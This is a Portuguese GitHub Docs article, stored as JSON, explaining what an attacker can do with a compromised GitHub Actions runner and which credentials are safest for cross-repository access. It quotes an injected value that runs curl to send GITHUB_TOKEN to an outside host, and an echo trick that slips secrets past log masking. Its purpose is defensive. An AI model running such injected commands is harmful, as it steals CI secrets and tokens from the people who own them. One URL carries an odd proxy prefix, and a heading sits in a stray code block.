{"meta":{"title":"Executores comprometidos","intro":"Entenda os riscos de segurança associados a executores comprometidos do GitHub Actions.","product":"GitHub Actions","breadcrumbs":[{"href":"/pt/enterprise-cloud@latest/actions","title":"GitHub Actions"},{"href":"/pt/enterprise-cloud@latest/actions/concepts","title":"Conceitos"},{"href":"/pt/enterprise-cloud@latest/actions/concepts/security","title":"Segurança"},{"href":"/pt/enterprise-cloud@latest/actions/concepts/security/compromised-runners","title":"Executores comprometidos"}],"documentType":"article"},"body":"# Executores comprometidos\n\nEntenda os riscos de segurança associados a executores comprometidos do GitHub Actions.\n\n## Possível impacto de um executor comprometido\n\nEssas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de GitHub Actions.\n\n> \\[!NOTE]\n> Os runners hospedados pelo GitHub não realizam verificações para detectar código mal-intencionado que um usuário tenha baixado durante a execução de uma tarefa, como uma biblioteca de terceiros comprometida.\n\n### Acessando segredos\n\nOs fluxos de trabalho acionados a partir de um repositório bifurcado usando o evento `pull_request` têm permissões somente leitura e não têm acesso a segredos. No entanto, essas permissões são diferentes para vários gatilhos de evento, como `issue_comment`, `issues`, `push` e `pull_request` de uma ramificação no repositório, em que o invasor pode tentar roubar segredos do repositório ou usar a permissão de gravação do [`GITHUB_TOKEN`](/pt/enterprise-cloud@latest/actions/concepts/security/github_token) do trabalho.\n\n* Se o segredo ou o token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente com `printenv`.\n\n* Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível.\n\n* Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:\n\n  ```yaml\n  uses: fakeaction/publish@v3\n  with:\n      key: ${{ secrets.PUBLISH_KEY }}\n  ```\n\nEmbora o GitHub Actions remova os segredos da memória que não estão referenciados no fluxo de trabalho (ou em uma ação incluída), o `GITHUB_TOKEN` e todos os segredos referenciados podem ser coletados por um invasor determinado.\n\n### Exfiltrar dados de um executor\n\nUm invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a impedir a divulgação acidental de segredos, o GitHub Actions [oculta automaticamente os segredos impressos no log](/pt/enterprise-cloud@latest/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), mas isso não representa uma barreira de segurança verdadeira, porque os segredos podem ser enviados intencionalmente para o log. Por exemplo, segredos ofuscados podem ser exfiltrados por meio de `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo.\n\n### Roubo do `GITHUB_TOKEN` do trabalho\n\nÉ possível que um invasor roube o `GITHUB_TOKEN` de um trabalho. O executor do GitHub Actions recebe automaticamente um `GITHUB_TOKEN` gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token vence após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para resolver essa limitação, ele pode automatizar o ataque e executá-lo em frações de segundos chamando um servidor controlado pelo invasor com o token, por exemplo: `a\"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`\n\n### Modificando os conteúdos de um repositório\n\nO servidor do invasor poderá usar a API do GitHub para [modificar o conteúdo do repositório](/pt/enterprise-cloud@latest/actions/reference/workflows-and-actions/workflow-syntax#permissions), incluindo as versões, se as permissões atribuídas do `GITHUB_TOKEN`[não forem restritas](/pt/enterprise-cloud@latest/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token).\n\n### Acesso entre repositórios\n\nO GitHub Actions tem um escopo intencional para um único repositório por vez. O `GITHUB_TOKEN` permite o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho, elevando as permissões do `GITHUB_TOKEN` se necessário. Os usuários têm permissões específicas para cada repositório. Portanto, permitir que o `GITHUB_TOKEN` de um repositório permita acesso a outro causará um impacto no modelo de permissão do GitHub se isso não for implementado com cuidado. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de GitHub a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de GitHub concedendo inadvertidamente amplo acesso aos colaboradores.\n\nSe a sua organização for propriedade de uma conta corporativa, você poderá compartilhar e reutilizar GitHub Actions armazenando-as em repositórios internos. Para saber mais, confira [Compartilhando ações e fluxos de trabalho com sua empresa](/pt/enterprise-cloud@latest/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).\n\nVocê pode realizar outras interações privilegiadas entre repositórios fazendo referência a um token de autenticação GitHub ou a uma chave SSH como um segredo no fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido.\n\nEsta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência:\n\n1. **O `GITHUB_TOKEN`**\n   * Esse token tem o escopo intencionalmente definido para o repositório único que acionou o fluxo de trabalho e pode ter o mesmo nível de acesso que um usuário com permissão de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para saber mais, confira [Usar GITHUB\\_TOKEN para autenticação em fluxos de trabalho](/pt/enterprise-cloud@latest/actions/security-guides/automatic-token-authentication).\n   * O `GITHUB_TOKEN` deve ser usado sempre que possível.\n2. **Chave de implantação do repositório**\n   * Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para saber mais, confira [Gerenciar chaves de implantação](/pt/enterprise-cloud@latest/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys).\n   * Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades.\n3. **Tokens do GitHub App**\n   * GitHub Apps podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um GitHub App interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios. Para saber mais, confira [Fazer solicitações de API autenticadas com um aplicativo GitHub em um fluxo de trabalho GitHub Actions](/pt/enterprise-cloud@latest/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow).\n4. ```\n             **personal access tokens**\n   ```\n   * Você nunca deve usar um personal access token (classic). Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta pessoal. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho.\n   * Se você usar um personal access token, nunca deverá usar um personal access token da própria conta. Se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil. Em vez disso, você deve usar um fine-grained personal access token para uma nova conta que pertença à sua organização e que apenas receba acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação.\n5. **Chaves SSH em uma conta pessoal**\n   * Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta pessoal. Semelhante a personal access tokens (classic), eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH apenas para realizar clones ou pushes de repositórios, e não precisa interagir com APIs públicas, deverá usar chaves de implantação individuais.\n\n## Próximas etapas\n\nPara obter práticas recomendadas de segurança com o GitHub Actions, confira [Referência de uso seguro](/pt/enterprise-cloud@latest/actions/reference/secure-use-reference)."}